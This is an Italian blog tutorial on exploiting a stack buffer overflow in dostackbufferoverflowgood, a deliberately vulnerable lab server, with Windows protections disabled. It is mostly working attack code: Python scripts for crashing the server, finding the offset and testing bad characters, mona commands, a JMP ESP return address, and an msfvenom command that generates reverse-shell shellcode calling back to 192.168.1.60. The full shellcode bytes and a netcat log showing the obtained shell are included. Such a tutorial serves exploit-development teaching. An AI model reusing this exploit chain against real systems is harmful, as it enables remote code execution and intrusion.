Terzo articolo della serie Buffer Overflow, target: dostackbufferoverflowgood
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
dostackbufferoverflowgood è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat. Se voleste una guida passo passo ben dettagliata, è possibile trovarla su Github
Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 500 # change me
payload = b"A" * CRASH_LEN
payload += b"\n"
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 500
Riavvio Dostack e aggiorno lo script inserendo il pattern
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 500 # change me
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag…"
payload += b"\n"
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
Troviamo l’offset preciso con pattern_offset, il quale cerca un preciso pattern all’interno della memoria
0:004> !py mona po 0x39654138
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x39654138
Looking for 8Ae9 in pattern of 500000 bytes
- Pattern 8Ae9 (0x39654138) found in cyclic pattern at position 146
Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 500 # change me
offset = 146
payload = b"A" * offset
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 500 # change me
offset = 146
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = b"A" * offset
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
\x0a è diventato \x00, quindi è da inserire nella lista dei badchar.
L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, per ora proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione il comando con mona è il seguente (escludendo \x00)
0:004> !py mona jmp -r esp -cpb '\x00\x0a'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00\x0a'
---------- Mona command started on 2022-09-02 17:29:57 (v2.0, rev 616) ----------
[+] Results :
0x080414c3 | 0x080414c3 : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (dostackbufferoverflowgood.exe)
0x080416bf | 0x080416bf : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (dostackbufferoverflowgood.exe)
Found a total of 2 pointers
Tutte le protezioni sono disabilitate, per cui scegliamo il primo.
Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x080414c3), in modo da vedere se è tutto a posto.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 500 # change me
offset = 146
#\x00\x0a
payload = b"A" * offset
payload += struct.pack("<I",0x080414c3) #JMP ESP
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto.
Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Creiamo una reverse shell con msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x0a' EXITFUNC=thread
Il codice finale sarà
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 500 # change me
offset = 146
#\x00\x0a
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x0a' EXITFUNC=thread
shellcode = b""
shellcode += b"\xda\xdc\xbd\x42\xf2\xbf\xae\xd9\x74\x24\xf4"
shellcode += b"\x5e\x31\xc9\xb1\x52\x31\x6e\x17\x83\xc6\x04"
shellcode += b"\x03\x2c\xe1\x5d\x5b\x4c\xed\x20\xa4\xac\xee"
shellcode += b"\x44\x2c\x49\xdf\x44\x4a\x1a\x70\x75\x18\x4e"
shellcode += b"\x7d\xfe\x4c\x7a\xf6\x72\x59\x8d\xbf\x39\xbf"
shellcode += b"\xa0\x40\x11\x83\xa3\xc2\x68\xd0\x03\xfa\xa2"
shellcode += b"\x25\x42\x3b\xde\xc4\x16\x94\x94\x7b\x86\x91"
shellcode += b"\xe1\x47\x2d\xe9\xe4\xcf\xd2\xba\x07\xe1\x45"
shellcode += b"\xb0\x51\x21\x64\x15\xea\x68\x7e\x7a\xd7\x23"
shellcode += b"\xf5\x48\xa3\xb5\xdf\x80\x4c\x19\x1e\x2d\xbf"
shellcode += b"\x63\x67\x8a\x20\x16\x91\xe8\xdd\x21\x66\x92"
shellcode += b"\x39\xa7\x7c\x34\xc9\x1f\x58\xc4\x1e\xf9\x2b"
shellcode += b"\xca\xeb\x8d\x73\xcf\xea\x42\x08\xeb\x67\x65"
shellcode += b"\xde\x7d\x33\x42\xfa\x26\xe7\xeb\x5b\x83\x46"
shellcode += b"\x13\xbb\x6c\x36\xb1\xb0\x81\x23\xc8\x9b\xcd"
shellcode += b"\x80\xe1\x23\x0e\x8f\x72\x50\x3c\x10\x29\xfe"
shellcode += b"\x0c\xd9\xf7\xf9\x73\xf0\x40\x95\x8d\xfb\xb0"
shellcode += b"\xbc\x49\xaf\xe0\xd6\x78\xd0\x6a\x26\x84\x05"
shellcode += b"\x3c\x76\x2a\xf6\xfd\x26\x8a\xa6\x95\x2c\x05"
shellcode += b"\x98\x86\x4f\xcf\xb1\x2d\xaa\x98\x7d\x19\xb5"
shellcode += b"\x64\x16\x58\xb5\x8e\x63\xd5\x53\xc4\x7b\xb0"
shellcode += b"\xcc\x71\xe5\x99\x86\xe0\xea\x37\xe3\x23\x60"
shellcode += b"\xb4\x14\xed\x81\xb1\x06\x9a\x61\x8c\x74\x0d"
shellcode += b"\x7d\x3a\x10\xd1\xec\xa1\xe0\x9c\x0c\x7e\xb7"
shellcode += b"\xc9\xe3\x77\x5d\xe4\x5a\x2e\x43\xf5\x3b\x09"
shellcode += b"\xc7\x22\xf8\x94\xc6\xa7\x44\xb3\xd8\x71\x44"
shellcode += b"\xff\x8c\x2d\x13\xa9\x7a\x88\xcd\x1b\xd4\x42"
shellcode += b"\xa1\xf5\xb0\x13\x89\xc5\xc6\x1b\xc4\xb3\x26"
shellcode += b"\xad\xb1\x85\x59\x02\x56\x02\x22\x7e\xc6\xed"
shellcode += b"\xf9\x3a\xe6\x0f\x2b\x37\x8f\x89\xbe\xfa\xd2"
shellcode += b"\x29\x15\x38\xeb\xa9\x9f\xc1\x08\xb1\xea\xc4"
shellcode += b"\x55\x75\x07\xb5\xc6\x10\x27\x6a\xe6\x30"
payload = b"A" * offset
payload += struct.pack("<I",0x080414c3) #JMP ESP
payload += b"\x90" * 10
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 20425
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user
C:\Windows\system32>
In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: